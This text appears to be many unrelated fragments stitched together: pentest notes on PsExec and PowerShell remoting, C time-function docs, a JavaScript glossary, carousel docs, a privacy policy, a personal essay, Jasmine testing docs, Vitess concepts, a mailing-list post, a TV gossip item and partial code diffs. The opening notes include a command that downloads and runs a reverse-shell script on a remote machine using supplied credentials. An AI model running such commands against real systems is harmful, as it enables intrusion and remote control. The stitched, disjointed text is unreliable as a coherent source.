PsExec.exe -u user -p pass -i cmd.exe
- runas
-
From Powershell
-
Invoke-Command
1 2 3
$pass = ConvertTo-SecureString 'password' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('user',$pass) Invoke-Command -Computer COMPUTER -Credential $cred -ScriptBlock { command } #Example command: iex (New-Object Net.WebClient).DownloadString('bla/rev.ps1')
Note
If you are having problems with "powershell double jump" you can pass the
-Authentication CredSSP
to fix it.
-
Adding kerberos config in linux
- Edit the /etc/krb5.conf adding the following (adapt):
1 2 3 4
[realms] DOMAIN.LOCAL = { kdc = <IP_ADDRESS> }
- Get a ticket
1 2
kinit user klist


gmtime
—convert time to UTC traditional form#include <time.h> struct tm *gmtime(const time_t *clock); struct tm *gmtime_r(const time_t *clock, struct tm *res);
Description
gmtime
takes the time at clock representing the number
of elapsed seconds since 00:00:00 on January 1, 1970, Universal
Coordinated Time (UTC, also known in some countries as GMT,
Greenwich Mean time) and converts it to a struct tm
representation.
gmtime
constructs the traditional time representation in static
storage; each call to gmtime
or localtime
will overwrite the
information generated by previous calls to either function.
Returns
struct tm
).
Portability
gmtime
.
gmtime
requires no supporting OS subroutines.


Hey you can practice web development concepts through this site
Click on the Terms to view the meaning and the defination
| # | LANGUAGE | DESCRIPTION |
|---|---|---|
| 1 | often abbreviated as JS, is a high-level, interpreted programming language that conforms to the ECMAScript specification. JavaScript has curly-bracket syntax, dynamic typing, prototype-based object-orientation, and first-class functions. | |
| 2 | Operators in JavaScript are very similar to operators that appear in other programming languages. The definition of an operator is a symbol that is used to perform an operation. Most often these operations are arithmetic (addition, subtraction, etc), but not always | |
| 3 | Variable means anything that can vary. JavaScript includes variables which hold the data value and it can be changed anytime. JavaScript uses reserved keyword var to declare a variable | |
| 4 | This is the way variables are named in JavaScript.variable names should not start with a numeral (0-9). They must begin with a letter or an underscore character. For example, 123test is an invalid variable name but _123test is a valid one. JavaScript variable names are case-sensitive. For example, Name and name are two different variables. | |
| 5 | Functions are one of the fundamental building blocks in JavaScript. A function is a JavaScript procedure—a set of statements that performs a task or calculates a value. To use a function, you must define it somewhere in the scope from which you wish to call it | |
| 6 | JavaScript Methods. JavaScript methods are actions that can be performed on objects. A JavaScript method is a property containing a function definition. Property. Value. | |
| 7 | Arguments are Passed by Value The parameters, in a function call, are the function's arguments. JavaScript arguments are passed by value: The function only gets to know the values, not the argument's locations | |
| 8 | Parameters are variables listed as a part of the function definition. Arguments are values passed to the function when it is invoked | |
| 9 | In JavaScript, return statements cease execution in a function and return a value to the caller; JavaScript functions require an explicit return statement for returning the result of an expression (the value) from a function. When a return statement is not present, the interpreter automatically returns undefined. | |
| 10 | Chaining Methods, also known as Cascading, refers to repeatedly calling one method after another on an object, in one continuous line of code. This technique abounds in jQuery and other JavaScript libraries and it is even common in some JavaScript native methods. |


Note: This is also touch compatible! Try swiping with your finger to scroll through the carousel.

$(document).ready(function(){
$('.carousel').carousel();
});
| Option Name | Description |
|---|---|
| duration | Transition duration in milliseconds. (Default: 200) |
| dist | Perspective zoom. If 0, all items are the same size. (Default: -100) |
| shift | Set the spacing of the center item. (Default: 0) |
| padding | Set the padding between non center items. (Default: 0) |
| fullWidth | Make the carousel a full width slider like the second example. (Default: false) |
| indicators | Set to true to show indicators. (Default: false) |
| noWrap | Don't wrap around and cycle through items. (Default: false) |
We have methods to pause, start, move to next and move to previous slide.
// Next slide
$('.carousel').carousel('next');
$('.carousel').carousel('next', 3); // Move next n times.
// Previous slide
$('.carousel').carousel('prev');
$('.carousel').carousel('prev', 4); // Move prev n times.
// Set to nth slide
$('.carousel').carousel('set', 4);
// Destroy carousel
$('.carousel').carousel('destroy');
Our carousel has a full width option that makes it into a simple and elegant image carousel. You can also have indicators that show up on the bottom of the slider.
Note: This is also touch compatible! Try swiping with your finger to scroll through the carousel.

$('.carousel.carousel-slider').carousel({fullWidth: true});
The carousel doesn't only support images but also allows you to make content carousels. You can add fixed items to your carousel by adding a div with the class carousel-fixed-item and adding your fixed content in there.
Note: This is also touch compatible!


{% extends "mail.html" %} {% block mail_body %}
Thank you for joining our community, ... lorem ipsum bolinha


PRIVACY POLICY
GLOBAL ONLINE SOLUTIONS DBA TIME TO TRAIN
PRIVACY POLICY
TIME TO TRAIN ("we," "us," "our" or “TTT”) are committed to protecting your personal information and your right to privacy. This privacy policy identifies what information we collect from you through our website www.timetotrain.fit.com, telemarketing, mobile applications and other means, explains how we may use or share that information and how we keep your personal information secure. We will only use and share your information as described in this privacy policy.
PRIVACY POLICY COVERS
Please read this privacy policy and our terms of use carefully. The terms stated in this privacy policy constitute a binding legal agreement between you and TIME TO TRAIN by using this site and the related services, you unconditionally agree to be bound by the terms stated in this privacy policy and our terms of use, including all exclusions and limitations of liability, and warrant that you have full authority and capacity, legal and otherwise, to use the services. You may not access or use this site or the services if you do not agree to any part of these terms. We reserve the right to periodically make updates to this privacy policy as our practices change. Your continued use of the site after such changes constitutes your acceptance of the changes, so please check back periodically for updates.
INFORMATION WE COLLECT
At TIME TO TRAIN, we want you to have the most personalized, best experience possible and to provide you with services and features that we think are most likely to meet your needs. To enable us to do that, we may collect personal data from you when contacting us and entering our website. Some of this data you supply to use personally, and some we automatically collect when you use our website, through cookies, web beacons, and other technologies, including technologies designed for mobile apps.
In particular, TIME TO TRAIN may collect the following types of information when you visit our website:
AUTOMATIC DATA COLLECTION
All information that is automatically collected when you use our website and includes as IP addresses (a number that can be used to identify your location and Internet Service Provider), the type of browser or device you are using, the URL from which you came, visited and spent to our website. We combine this information with other information we collect about you as well as use this information to identify you across your multiple devices.
Whenever you interact with our Applications, we automatically receive and record information on our server logs from your browser including your IP address, 'cookie' information, and the page you requested. 'Cookies' are identifiers we transfer to your computer or mobile device that allow us to recognize your browser or mobile device and tell us how and when pages in our Web App are visited and by how many people. You may be able to change the preferences on your browser or mobile device to prevent or limit your computer or device's acceptance of cookies, but this may prevent you from taking advantage of our Web App's best features.
HOW DO WE USE YOUR INFORMATION
We use personal information collected from the visitors of our website for a variety of business purposes described below. We process your personal information for these purposes in reliance on our legitimate business interests, in order to enter into or perform a contract with you, with your consent, and/or for compliance with our legal obligations. We indicate the specific processing grounds we rely on next to each purpose listed below:
We may use your information for other Business Purposes, such as data analysis, identifying usage trends, determining the effectiveness of our promotional campaigns and to evaluate and improve our products and services, marketing and your experience. We may use and store this information in aggregated and anonymized form so that it is not associated with individual end users and does not include personal information. We will not use identifiable personal information without your consent.
We may also use collected information to create a user profile link or combine it with other information we get from third parties, to help understand your preferences and provide you with better services and identify and suggest connections with other users. Personal Information may also be used to provide customer service and other services at your request, to send you information, including confirmations, invoices, technical notices, updates, security alerts, and support messages, as well as communicate with you about promotions and other news about products and services offered by Time to Train
HOW WE SHARE YOUR INFORMATION
We neither rent nor sell your personal information in personally identifiable form to anyone. We only share information with your consent, to comply with laws, to provide you with services, to protect your rights, or to fulfill business obligations. We may share personal information and other information that we collect as follows:
We may store personal information in locations outside of our direct control; for instance, on servers or databases where the hosting provider is located. Additionally, we may share or sell aggregate information about our visitors that does not personally identify individuals with our partners, affiliates, advertisers, and other third parties without restriction. This information may include personal information that we have changed so that individuals are no longer personally identifiable. We may also share this information with third parties in order to analyze visitor data, activities, and usage of the Site or Services in order to make improvements to the Site, Services, and experiences of our visitors.
If you choose to participate in any promotions, sweepstakes, contests, or similar events through the Site or Services, the rules or terms and conditions for such events may change the way we share your information with third parties. Please review the applicable rules or terms and conditions for all such events in which you participate.
LINKS TO OTHER WEBSITES
On our website and in communication with you, we may include links or referrals to businesses and websites operated by our business partners, affiliates, advertisers, and others, and these businesses and websites may allow you to access tools and services that would allow personal information to be transferred to such third parties. These third parties have separate data collection and privacy practices independent from ours, and thus TIME TO TRAIN cannot be responsible for their policies, activities or the collection and use of your personal data. If you choose to use any of these third-party sites, any personal data collected by such site or app will be controlled by the privacy policy of that third party. We strongly encourage you to read with understanding the privacy policies of those sites, as their practices may differ from ours. Please contact those third parties directly if you have questions about their privacy policies
THIRD-PARTY TRACKING ON OUR SITE
We may place content, including advertisements, on our site from advertisers, ad servers, and other third parties. These third parties may use cookies, web beacons, or other tracking technologies associated with their content on the Site to collect information, including personal information, about your activities over time and across different websites. They may send you targeted ads or other content based on this information. We have no control over how these third parties use your information, and you should contact the responsible party with any related questions or concerns.
HOW TO ACCESS AND CHANGE YOUR INFORMATION
You are responsible for keeping any personal information you provide on the website. Please email us at<EMAIL_ADDRESS>to request access to view, correct, or delete information you have provided to us. We will make reasonable efforts to comply with your requests, if possible. If you provided personal information in connection with a specific Service we provide, you may have to update or delete that information by returning to that Service page. Any requests to delete your information are subject to our internal reporting and retention policies as well as any legal obligations that we may have. You can also update or delete some or all of your personal information in your account by signing in, visiting your account page, and configuring the relevant settings. Note that deleting your User Contributions on the Site will not delete copies of your User Contributions that may exist in cached or archived pages or copies that may be stored by other visitors.
RETENTION OF DATA
Personal data that you provide or that we obtain for any purpose or purposes shall not be kept for longer than is necessary for that purpose or those purposes. In some cases, it is not possible for us to specify in advance the periods for which your personal data will be retained. Notwithstanding the other provisions of this section, we may retain your personal data where such retention is necessary for compliance with a legal obligation to which we are subject, or in order to protect your vital interests or the vital interests of another natural person.
SECURITY
We implement technical and organizational safeguards to ensure an appropriate level of security and confidentiality for your personal data, in accordance with our policies and any applicable laws. We will hold your personal information on our systems for as long as necessary to provide the relevant services to you or for as long as reasonably required to satisfy the purpose for which you submitted the information, and taking into account any record retention requirements under any applicable laws.
Please be aware, though, that no data security measures can absolutely guarantee security. Because of this, while we strive to protect your personal information, we cannot ensure or warrant the security of any information you transmit to us or via our online products or services, and you do so at your own risk. You should take steps to protect against unauthorized access to your password, phone, and computer by, among other things, signing off after using a shared computer, choosing a robust password that nobody else knows or can easily guess, and keeping your log-in and password private. We are not responsible for any lost, stolen, or compromised passwords or for any activity on your account via unauthorized password activity.
MINOR'S PRIVACY
This Site does not knowingly collect personal information from children under 13 years of age. If you are under 13 years of age, do not use this Site or provide any personal information to us. We will delete all information that we discover is provided by children under 13 years of age without verification of parental consent. Please email us if you believe we have received personal information from a child aged under 13 and we will use our best efforts to remove such information
PRIVACY POLICY UPDATE
This privacy policy may change from time to time. If we make any substantive changes to the policy in the future that materially affect our practices with regard to how we use your information, we will post those changes on our website in this location together with the date of the last update. Your continued business relationship or use of the website after the changes are posted constitutes your agreement to the changes, both with regard to information we have previously collected from you and with regard to information we collect from you in the future. If you do not agree to the changes, please discontinue your use of our website or business relationship with us
CONTACT INFORMATION
Your feedback is important to us. To send us your questions, suggestions, or complaints, please contact us as follows:
Time to Train ℅ GLOBAL ONLINE SOLUTIONS
Plot 101, Aleap Estate, Kukatpally, Hyderabad, Telangana, India
Email<EMAIL_ADDRESS>© 2020


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When I thinkof the happiest times in my life, in most cases the values that come to my mind are: adventure, creativity, freedom , friendship, achievement. So these are the values that make me happy.
If I think about whether do I live up to these values on the scale from 1 to 5, where 1 is "Disagree" and 5- "Agree", it will look like:
adventure: 2
creativity: 3
freedom : 3
friendship : 3
achievement: 4
while these values are so important to me, I must say that lately I don't live up to them as much as I could
among these values, adventure and freedom would probably take the top place - not because I posess them more than others, but because I feel my happiest when I live up to them. Some of the happiest times in my life were where I did not know exactly where I am going to be next day, and what the next day will be like. Not that I don't like stability at all, but travelling, especially travelling without a plan makes me high in a way. Of course, that includes friendship too.
The topic that I am most often asked for advice at, is probably relationship, which is probably common, and I am not sure whether that's because I am good at that topic or because that's what girlfriens do anyway. Another thing would probably be sports, fitness and stuff, because some of my friends think that I am I know a lot about it, being swimmer and all. And I have to say it does make me feel good to be asked for advice in activity that I like.
It is hard to say whether my values will help me to deal with stereotype threat , but I would definitely try to remind myself of them if I feel low or insecure for some reason at DBC.
And as for exersises to help me feel better , sports always work , as well as simply talking to my freinds and family.


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How To Test With Phantom.js and Jasmine
Integration Of Jasmine Into The Build Process (Maven)
Jasmine is integrated with the
jasmine-maven-plugin into the maven build process. Therefore only the pom.xml file
will be enhanced by the following code, which specifies the jasmine-maven-plugin
as plugin for the build process. The configuration of the jasmine-maven-plugin is also done in this file. The meaning of
every configuration parameter can be looked up on the jasmine-maven-plugin project page under this
link. The following configuration uses a the
specRunnerTemplate REQUIRE_JS
in order to function properly with RequireJS. Further
information about spec runner templates can be found
here. On the next build the needed
dependencies will be automatically resolved just like it is in the nature of maven.
pom.xml
<build>
<plugins>
...
<plugin>
<groupId>com.github.searls</groupId>
<artifactId>jasmine-maven-plugin</artifactId>
<version><IP_ADDRESS></version>
<executions>
<execution>
<goals>
<goal>test</goal>
</goals>
</execution>
</executions>
<configuration>
<preloadSources>
<source>${project.basedir}/src/test/resources/js/lib/require.js</source>
</preloadSources>
<jsSrcDir>${project.basedir}/src/main/resources/static</jsSrcDir>
<sourceIncludes>
<include>**/*.js</include>
<include>**/*.coffee</include>
</sourceIncludes>
<jsTestSrcDir>${project.basedir}/src/test/resources/js/spec</jsTestSrcDir>
<specIncludes>
<include>**/spec_helper.js</include>
<include>**/*.js</include>
<include>**/*.coffee</include>
</specIncludes>
<specRunnerTemplate>REQUIRE_JS</specRunnerTemplate>
<format>progress</format>
</configuration>
</plugin>
</plugins>
</build>
Testing The Engage Core
This chapter gives an overview over the directory structure used for testing the theodul engage core module, the configuration for the specs in the spec_helper.js and how to write specs for the core.
Directory Structure
The test relevant files are located in the src/test/resources/ui/js/spec tree. Files that filename ends on _spec.js are considered as files with executable tests. The spec_helper.js in configured in the pom.xml for the initial setup.
Directory Structure Testing Engage Core
|-src
|---main
|-----java #Java impl of the plugin manager
|-----resources
|-------ui #UI of the core, core.html and engage_init.js
|---------css #Global CSS Styles
|---------js #JavaScript logic
|-----------engage #Core logic, engage_core.js and engage_model.js
|-----------lib #External libraries, backbone.js, jquery.js, require.js and underscore.js
|---test #Unit Tests
|-----resources
|-------ui #JavaScript Unit Tests
|---------js
|-----------spec #Tests the *_spec.js and the helper file spec_helper.js
Spec Helper
The file spec_helper.js takes over the configuration of RequireJS which is usually done by the engage_init.js
. The
paths differ slighty from the player has at runtime.
spec_helper for engage_core module
/*global requirejs*/
requirejs.config({
baseUrl: 'src/js/lib',
paths: {
require: 'require',
jquery: 'jquery',
underscore: 'underscore',
backbone: 'backbone',
engage: '../engage',
plugins: '../engage/plugin/*/static'
},
shim: {
'backbone': {
//script dependencies
deps: ['underscore', 'jquery'],
//global variable
exports: 'Backbone'
},
'underscore': {
//global variable
exports: '_'
}
}
});
var PLUGIN_MANAGER_PATH = '/engage/theodul/manager/list.json';
var PLUGIN_PATH = '/engage/theodul/plugin/';
Testing Engage Plugins
This chapter gives an overview over the directory structure used for testing a theodul engage plugin module, the
configuration for the specs in the spec_helper.js
and how to write specs for a plugin.
Directory Structure
The test relevant files are located in the src/test/resources/ui/js/spec tree. Files that filename ends on _spec.js are considered as files with executable tests. The spec_helper.js in configured in the pom.xml for the initial setup. In the directory test/resources/ui/js/engage is a mockup of the theodul engage core module in order to be able to test the plugin module independent. The directory test/resources/ui/js/lib provides the libraries which are provides by the engage core module at runtime of the player, as well to be able to test the plugin module independently.
Directory Structure Testing Plugins
|-src
|---main
|-----java #Java impl of the plugin manager
|-----resources
|-------ui #UI of the core, core.html and engage_init.js
|---------css #Global CSS Styles
|---------js #JavaScript logic
|-----------engage #Core logic, engage_core.js and engage_model.js
|-----------lib #External libraries, backbone.js, jquery.js, require.js and underscore.js
|---test #Unit Tests
|-----resources
|-------ui #JavaScript Unit Tests
|---------js
|-----------engage #Mockup of the engage_core.js and engage_model.js
|-----------lib #Libraries used and provided by the core (A copy of the lib directory in the engage core module)
|-----------spec #Tests the *_spec.js and the helper file spec_helper.js
Spec Helper
The file spec_helper.js takes over the configuration of RequireJS which is usually done by the engage_init.js
. The
paths differ slighty from the player uses at runtime.
/*global requirejs*/
requirejs.config({
baseUrl: 'src/',
paths: {
require: 'test/resources/js/lib/require',
jquery: 'test/resources/js/lib/jquery',
underscore: 'test/resources/js/lib/underscore',
backbone: 'test/resources/js/lib/backbone',
engage: 'test/resources/js/engage'
},
shim: {
'backbone': {
//script dependencies
deps: ['underscore', 'jquery'],
//global variable
exports: 'Backbone'
},
'underscore': {
//global variable
exports: '_'
}
}
});
Writing Specs
TODO
Running The Tests
Now you can start the build process and the jasmine specs will be executed. Each . stands for a successful test. F stands for a failure and will stop the build process like it is specified in the configuration. The example output shows a manipulated version of the tests for the theodul engage core in order to illustrate a failing test. Normally all three tests should succeed at this point.
Testing on build
mvn install -DdeployTo=${FELIX_HOME}
// some output before
[INFO]
-------------------------------------------------------
J A S M I N E S P E C S
-------------------------------------------------------
[INFO]
F..
1 failure:
1.) EngageCore it should have a model <<< FAILURE!
* Expected { cid : 'c3', ... _pending : false } not to be defined.
Results: 3 specs, 1 failures
// some output before
The jasmine-maven-plugin can also be executed manually and show the result in a browser. This can be achieved by the following command:
Manual testing
mvn jasmine:bdd
[INFO] Scanning for projects...
[INFO]
[INFO] ------------------------------------------------------------------------
[INFO] Building engage-theodul-core 1.5-SNAPSHOT
[INFO] ------------------------------------------------------------------------
[INFO]
[INFO] --- jasmine-maven-plugin:<IP_ADDRESS>:bdd (default-cli) @ engage-theodul-core ---
2014-01-28 14:33:30.722:INFO:oejs.Server:jetty-8.1.10.v20130312
2014-01-28 14:33:30.746:INFO:oejs.AbstractConnector:Started SelectChannelConnector@<IP_ADDRESS>:8234
[INFO]
Server started--it's time to spec some JavaScript! You can run your specs as you develop by visiting this URL in
a web browser:
http://localhost:8234
The server will monitor these two directories for scripts that you add, remove, and change:
source directory: src/main/resources/ui
spec directory: src/test/resources/ui/js/spec
Just leave this process running as you test-drive your code, refreshing your browser window to re-run your specs.
You can kill the server with Ctrl-C when you're done.
In a browser you should see an output like it is shown on the next screenshot.


I am a full stack developer seeking opportunities to write code and solve complex problems. In addition to my development skills, I bring with me over 3 years of experience in project management and leading cross functional teams in the construction industry. If you would like to work together, please don't hesitate to contact me.
Contact Me!Ruby
Ruby on Rails
Javascript
jQuery
HTML5
CSS3
Bootstrap
Materialize
PostgreSQL
React.js
GitHub
Heroku


if node in self.scheme().widget_for_node:
widget = self.scheme().widget_for_node[node]
else:
widget = self._widget_backup[node]
self._active_node = node
Deliver input signals to an OWBaseWidget instance.
widget = self.scheme().widget_for_node(node)
self.process_signals_for_widget(node, widget, signals)
def compress_signals(self, signals):


---
title: Deepak Kumar Sood
permalink: /
layout: splash
header:
overlay_color: "#000"
overlay_image: /assets/images/home.jpg
overlay_filter: 0.6
excerpt: "Coder / Researcher / Tech-Evangelist"
thought:
- title: "Thought of the day"
- excerpt: '"I have the power to do and to be whatever I wish to do and be."
**---The Power of Concentration**'
- url: "/thoughts/2017_thoughts/"
btn_label: "More"
btn_class: "btn btn--small btn--inverse"
all_posts:
- url: "/blog/"
btn_label: "All Posts"
btn_class: "btn btn--small btn--inverse"
all_projects:
- url: "/portfolio/"
btn_label: "All Projects"
btn_class: "btn btn--small btn--inverse"
til:
- title: "Today I Learned"
- excerpt: "[Android Architecture Components](https://developer.android.com/topic/libraries/architecture/index.html)
**---Android**"
- url: "/til/2017_til/"
btn_label: "More"
btn_class: "btn btn--small btn--inverse"
---
{% include feature_row id="thought" type="center" %}


/r:<assembly 1>[:<assembly N>]
Forces the script engine to load assemblies referenced from a command-line explicitly.
The command above executes the test.cs script. It also instructs the script engine to load assemblies classlib1.dll and classlib2.dll at start-up.
The referenced assemblies must reside in the same directory where
the script file is or to be in the one of the CS-Script library folders
(see Using .NET assemblies for details).
Command-line interface | Using .NET assemblies


Copy this URL and send it to your opponent: {{url}}arrange/p2?game_id=G{{game_id}}
After copy and send click here to
arrange your game board


We meet every Sunday during the 9am service during the school terms. We utilise the church building, as well as classrooms in the Pre-Primary school.
After we open in prayer and song, we split up into the different age groups. In class the children have a bible story, discussion, then relevant craft and activities - all age appropriate. During the service we join the congregation for the communion or blessing, after which the children return to the class until the end of the service.

We have so much fun in Children's Church - and everyone is welcome.


{% extends "base.html" %} {% block title %}Machine Learning Database Interacting User Interface{% endblock %} {% block robots %}index,follow{% endblock %} {% block description %}{% endblock %} {% block content %}
Below are the results for different models. The prediction for the model is shown. Below each model is the r-squared value for the model on the holdout test data, this is indicative of it's performance on new data.
Actual measure: {{ "${:,.0f}".format(entered_pred) }}
{% for key, value in pred_dict.items() %} {{ key }} prediction: {{ "${:,.0f}".format(value[0][0]) }}


{% extends 'templates/nhs_transaction_layout.html' %} {% block pageTitle %}eRS prototypes{% endblock %} {% import 'includes/ui_element_macros.html'
as ui_element_macros %} {% block content %} {{ ui_element_macros.breadcrumbs({ items: { 1: { text: "Prototypes", href: "/prototypes"
}, 2: { text: "Referral screens", } } })}}
Referral screens
-
Version 1 Initial design used for internal conversations
-
Version 2 Content and title changes, then used in user testing on 30th May
-
Version 3 All content on one page with sticky side navigation links jumping to relevant place in
the content
{% endblock %}


This paper presents a connection calculus for the description logic (DL) ALC. It replaces the usage of Skolem terms and unification by additional annotation and introduces blocking, a typical feature of DL provers, by a new rule, to ensure termination in the case of cyclic ontologies.
An edge coloring of the $n$-vertex complete graph $K_n$ is a Gallai coloring if it does not contain any rainbow triangle, that is, a triangle whose edges are colored with three distinct colors. We prove that the number of Gallai colorings of $K_n$ with at most three colors is at most $7(n+1)2^{\binom{n}{2}}$, which improves the best known upper bound of $\frac{3}{2}(n - 1)!\cdot 2^{\binom{n-1}{2}}$
Autor(es): Vladimir Pestov (UFBA, University of Ottawa)
We present a new result about the curse of dimensionality
affecting similarity search in intrinsically high-dimensional
metric spaces with measure, when an indexing scheme uses $1$-Lipschitz functions.
Resumo 4


During the era of antislavery, it took an immense amount of bravery and dedication to ensure the safe delivery of those facing slavery in the Underground Railroad. [G|D]
Through the process of discovery, it became apparent that wearing a livery uniform gave hope to those struggling to recover from an oppressive environment. [G|D]
It was a moment of rediscovery when the silvery moonlight shone down on the shivery night, bringing a sense of liberation. [G|D]
The unfortunate reality of slavery drove some to pursue thievery as the only way to a very limited form of freedom. [G|D]


This document defines common Vitess concepts and terminology.
A keyspace is a logical database. In the unsharded case, it maps directly to a MySQL database name. If sharded, a keyspace maps to multiple MySQL databases. However, it appears as a single database to the application.
Reading data from a keyspace is like reading from a MySQL database. However, depending on the consistency requirements of the read operation, Vitess might fetch the data from a master database or from a replica. By routing each query to the appropriate database, Vitess allows your code to be structured as if it were reading from a single MySQL database.
The keyspace ID is the value that is used to decide on which shard a given row lives. Range-based Sharding refers to creating shards that each cover a particular range of keyspace IDs.
Using this technique means you can split a given shard by replacing it with two or more new shards that combine to cover the original range of keyspace IDs, without having to move any records in other shards.
The keyspace ID itself is computed using a function of some column in your data, such as the user ID. Vitess allows you to choose from a variety of functions (vindexes) to perform this mapping. This allows you to choose the right one to achieve optimal distribution of the data across shards.
A VSchema allows you to describe how data is organized within keyspaces and shards. This information is used for routing queries, and also during resharding operations.
For a Keyspace, you can specify if it's sharded or not. For sharded keyspaces, you can specify the list of vindexes for each table.
Vitess also supports sequence generators that can be used to generate new ids that work like MySQL auto increment columns. The VSchema allows you to associate table columns to sequence tables. If no value is specified for such a column, then VTGate will know to use the sequence table to generate a new value for it.
A shard is a division within a keyspace. A shard typically contains one MySQL master and many MySQL slaves.
Each MySQL instance within a shard has the same data (excepting some replication lag). The slaves can serve read-only traffic (with eventual consistency guarantees), execute long-running data analysis tools, or perform administrative tasks (backup, restore, diff, etc.).
An unsharded keyspace has effectively one shard.
Vitess names the shard 0
by convention. When sharded, a keyspace has N
shards with non-overlapping data.
Vitess supports dynamic resharding, in which the number of shards is changed on a live cluster. This can be either splitting one or more shards into smaller pieces, or merging neighboring shards into bigger pieces.
During dynamic resharding, the data in the source shards is copied into the destination shards, allowed to catch up on replication, and then compared against the original to ensure data integrity. Then the live serving infrastructure is shifted to the destination shards, and the source shards are deleted.
A tablet is a combination of a mysqld
process and a corresponding vttablet
process, usually running on the same machine.
Each tablet is assigned a tablet type, which specifies what role it currently performs.
The keyspace graph allows Vitess to decide which set of shards to use for a given keyspace, cell, and tablet type.
During horizontal resharding (splitting or merging shards), there can be shards
with overlapping key ranges. For example, the source shard of a split may serve
c0-d0
while its destination shards serve c0-c8
and c8-d0
respectively.
Since these shards need to exist simultaneously during the migration, the keyspace graph maintains a list (called a partitioning or just a partition) of shards whose ranges cover all possible keyspace ID values, while being non-overlapping and contiguous. Shards can be moved in and out of this list to determine whether they are active.
The keyspace graph stores a separate partitioning for each (cell, tablet type)
pair.
This allows migrations to proceed in phases: first migrate rdonly and
replica requests, one cell at a time, and finally migrate master requests.
During vertical resharding (moving tables out from one keyspace to form a new keyspace), there can be multiple keyspaces that contain the same table.
Since these multiple copies of the table need to exist simultaneously during
the migration, the keyspace graph supports keyspace redirects, called
ServedFrom
records. That enables a migration flow like this:
new_keyspace
and set its ServedFrom
to point to old_keyspace
.new_keyspace
.
Vitess will automatically redirect these requests to old_keyspace
.ServedFrom
redirect to begin actually serving from new_keyspace
.old_keyspace
.There can be a different ServedFrom
record for each (cell, tablet type)
pair.
This allows migrations to proceed in phases: first migrate rdonly and
replica requests, one cell at a time, and finally migrate master requests.
The replication graph identifies the relationships between master databases and their respective replicas. During a master failover, the replication graph enables Vitess to point all existing replicas to a newly designated master database so that replication can continue.
The Topology Service is a set of backend processes running on different servers. Those servers store topology data and provide a distributed locking service.
Vitess uses a plug-in system to support various backends for storing topology data, which are assumed to provide a distributed, consistent key-value store. By default, our local example uses the ZooKeeper plugin, and the Kubernetes example uses etcd.
The topology service exists for several reasons:
A Vitess cluster has one global topology service, and a local topology service in each cell. Since cluster is an overloaded term, and one Vitess cluster is distinguished from another by the fact that each has its own global topology service, we refer to each Vitess cluster as a toposphere.
The global topology stores Vitess-wide data that does not change frequently. Specifically, it contains data about keyspaces and shards as well as the master tablet alias for each shard.
The global topology is used for some operations, including reparenting and resharding. By design, the global topology server is not used a lot.
In order to survive any single cell going down, the global topology service should have nodes in multiple cells, with enough to maintain quorum in the event of a cell failure.
Each local topology contains information related to its own cell. Specifically, it contains data about tablets in the cell, the keyspace graph for that cell, and the replication graph for that cell.
The local topology service must be available for Vitess to discover tablets and adjust routing as tablets come and go. However, no calls to the topology service are made in the critical path of serving a query at steady state. That means queries are still served during temporary unavailability of topology.
A cell is a group of servers and network infrastructure collocated in an area, and isolated from failures in other cells. It is typically either a full data center or a subset of a data center, sometimes called a zone or availability zone. Vitess gracefully handles cell-level failures, such as when a cell is cut off the network.
Each cell in a Vitess implementation has a local topology service, which is hosted in that cell. The topology service contains most of the information about the Vitess tablets in its cell. This enables a cell to be taken down and rebuilt as a unit.
Vitess limits cross-cell traffic for both data and metadata. While it may be useful to also have the ability to route read traffic to individual cells, Vitess currently serves reads only from the local cell. Writes will go cross-cell when necessary, to wherever the master for that shard resides.


The method clone() should throw a CloneNotSupportedException.
This rule is deprecated, use {rule:squid:S1182} instead.


1 write to _skipLast
Microsoft.PowerShell.Commands.Utility (1)
commands\utility\Select-Object.cs (1)
233
_skipLast
= skipLast;
2 references to _skipLast
Microsoft.PowerShell.Commands.Utility (2)
commands\utility\Select-Object.cs (2)
264
if (
_skipLast
> 0)
269
if (this.Count >
_skipLast
)


[gecode-users] Gecode 4.0.0
Filip Konvička
filip.konvicka at logis.cz
Fri Nov 4 15:58:03 CET 2011
> Maybe you can have a look at Gaol:
> http://sourceforge.net/projects/gaol/
>
> You can also write to the author Frederic Goualard to talk about the
> subject.
>
One issue will probably be the license - both Gaol and MPFR are LGPL, so
including them in a Gecode distribution would make that Gecode package
also LGPL, I guess. Again, if a user decides to build their own Gecode
with this included, it's fine, so it's great to have the option. But
for a standard Gecode release my understanding was that the ideal
license would be MIT-style.
Best,
Filip
More information about the users
mailing list


ITV This Morning viewers left asking 'where's Phil' as Holly Willoughby forced to present alone
Fans were left confused by the empty seat
by Rebecca KoncienzcyThis Morning viewers were left puzzled today as Phillip Schofield was missing from a key segment, forcing Holly Willoughby to present alone.
The 57-year-old was absent from a fashion item which saw Trinny Woodall talk through the best ways to 'power dress'.
There was an empty seat next to Holly as Phil was nowhere to be seen and fans of the ITV daytime show were quick to notice.
One @Artful_Doodler said: " Phil pulled a disappearing act."
Another, @DavidMackayy said: " Wait where did @schofe go?"
A third, @DoubleTreble_said: " Is Phill locked in the loo?"
A fourth, @GinaTrick said: " Where has @Schofe gone?!?"
After the segment, Holly sent This Morning to an advert break and when they returned Phil was back by her side with no explanation as to where he had been.
This isn't the first time male presenters have ducked out of parts of the show that are aimed at a largely female audience.
Last month Eamonn Holmes disappeared before a make-up segment , prompting a similar response from fans.
His wife and co-host Ruth Langsford hosted the item alone and at the end of the item she said: "I am going back to Eamonn now. What are you up to?"
Eamonn was sat on the main This Morning sofa and he said: "Sorry to ruin your excitement with all that... That was good."
*This Morning is on ITV1 weekdays and Sundays from 10:30am


Before Change
Returns:
A dictionary. Key is the name of a event. Value is a set of dirs that contain that event.
event_dir_dict = {}
for event_file in self._glob_events_files(self._paths):
dir = os.path.dirname(event_file)
try:
for record in tf_record.tf_record_iterator(event_file):
event = event_pb2.Event.FromString(record)
if event.summary is None or event.summary.value is None:
continue
for value in event.summary.value:
if value.simple_value is None or value.tag is None:
continue
if value.tag not in event_dir_dict:
event_dir_dict[value.tag] = set()
event_dir_dict[value.tag].add(dir)
except:
// It seems current TF (1.0) has a bug when iterating events from a file near the end.
// For now just catch and pass.
After Change
Returns:
A dictionary. Key is the name of a event. Value is a set of dirs that contain that event.
event_dir_dict = collections.defaultdict(set)
for event_file in self._glob_events_files(self._paths, recursive=True):
dir = os.path.dirname(event_file)
for record in tf_record.tf_record_iterator(event_file):
event = event_pb2.Event.FromString(record)


Query Tool¶
